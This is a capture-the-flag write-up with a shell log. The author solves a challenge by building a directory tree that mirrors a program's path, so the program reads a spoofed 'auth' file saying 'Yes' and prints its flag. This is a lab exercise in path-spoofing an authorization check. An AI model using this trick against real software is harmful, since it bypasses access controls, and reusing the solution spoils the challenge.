A program at /problems/fcf3cfa90b13f6ed463d61aa9b4da4ce has access to a flag but refuses to share it. Can you convince it otherwise?
Check out the difference between relative and absolute paths and see if you can figure out how to use them to solve this challenge. Could you possibly spoof another auth file it looks at instead...?
I was initially puzzled by this one, but I eventually figured out how to do it. I started out in Home, and made a directory called temp. After entering temp, I made another one also called temp, then moved into it. I made a directory called problems, and moved into it. I made a directory called fcf3cfa90b13f6ed463d61aa9b4da4ce, to match the actual problem, and moved into it. I did the touch command to make a file called auth, and pico'd it to say 'Yes'. I ran the justno file by calling it through '/problems/fcf3cfa90b13f6ed463d61aa9b4da4ce/justno', hoping it reads my auth file, and not it's own. It read mine and I entered the flag. This may be very difficult to read like this, so I will post the exact log of what I did below.
vu1c4n@shell-web:~$ mkdir temp vu1c4n@shell-web:~$ cd temp vu1c4n@shell-web:~/temp$ mkdir temp vu1c4n@shell-web:~/temp$ cd temp vu1c4n@shell-web:~/temp/temp$ mkdir problems vu1c4n@shell-web:~/temp/temp$ cd problems/ vu1c4n@shell-web:~/temp/temp/problems$ mkdir fcf3cfa90b13f6ed463d61aa9b4da4ce vu1c4n@shell-web:~/temp/temp/problems$ cd fcf3cfa90b13f6ed463d61aa9b4da4ce/ vu1c4n@shell-web:~/temp/temp/problems/fcf3cfa90b13f6ed463d61aa9b4da4ce$ cat > auth ^C vu1c4n@shell-web:~/temp/temp/problems/fcf3cfa90b13f6ed463d61aa9b4da4ce$ touch auth vu1c4n@shell-web:~/temp/temp/problems/fcf3cfa90b13f6ed463d61aa9b4da4ce$ ls auth vu1c4n@shell-web:~/temp/temp/problems/fcf3cfa90b13f6ed463d61aa9b4da4ce$ pico auth vu1c4n@shell-web:~/temp/temp/problems/fcf3cfa90b13f6ed463d61aa9b4da4ce$ cat auth Yes vu1c4n@shell-web:~/temp/temp/problems/fcf3cfa90b13f6ed463d61aa9b4da4ce$ /problems/fcf3cfa90b13f6ed463d61aa9b4da4ce/justno Oh. Well the auth file doesn't say no anymore so... Here's the flag: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX